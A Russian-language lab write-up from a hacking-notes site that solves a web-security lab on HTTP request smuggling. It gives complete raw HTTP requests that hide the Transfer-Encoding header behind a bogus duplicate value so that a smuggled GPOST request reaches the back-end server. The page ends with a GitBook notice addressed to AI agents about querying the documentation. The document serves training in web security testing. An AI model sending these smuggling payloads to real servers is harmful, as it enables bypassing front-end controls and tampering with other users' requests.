> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md).

# Контрабанда HTTP-запросов путём скрытия заголовка TE

### HTTP Request Smuggling, сокрытие заголовка TE

В этой лабораторной работе есть фронтальный сервер и внутренний сервер. Они по-разному обрабатывают дублированные HTTP-заголовки. Фронтальный сервер отклоняет любой запрос, метод которого не **GET**  или **POST**.

Цель состоит в том, чтобы **передать скрытый запрос на бэкенд-сервер** так, чтобы **следующий запрос** интерпретируется сервером, использует **GPOST** метод.

**Примечание:**/ Даже если лабораторная работа поддерживает HTTP/2, решение основано на приёмах, которые работают только в **HTTP/1**, который нужно вручную выбрать в Burp Repeater.

**Совет:**/ Поля длины сложно настраивать вручную. Расширение HTTP Request Smuggler из BApp Store упрощает эту работу.

#### **Анализ поведения: фронтенд предпочитает Content-Length**

Пример запроса, в котором фронтенд выбирает **CL**:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

3
abc
X


```

<figure><img src="/files/935853ef7c95c6b77b5b3ba330c57db080d0cd8f" alt=""><figcaption></figcaption></figure>

Здесь завершение чанка (`X` вместо `0`) мешает правильной интерпретации.

#### **Попытка скрытой инъекции**

Запрос, отправленный как есть, не интерпретируется так, как задумано:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```

Поведение фронтенда здесь мешает желаемой интерпретации.

#### **Обход: скрыть основной Transfer-Encoding**

Чтобы обойти механизм, поместите **недопустимое** значение в первый `Transfer-Encoding` заголовок, чтобы:

* эту **фронтенд** игнорирует его из-за неверного значения,
* но **бэкенд** сохраняет `Transfer-Encoding: chunked` заголовок действительным.

Рабочий пример:

```http
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
```

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
Content-Type: application/x-www-form-urlencoded

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
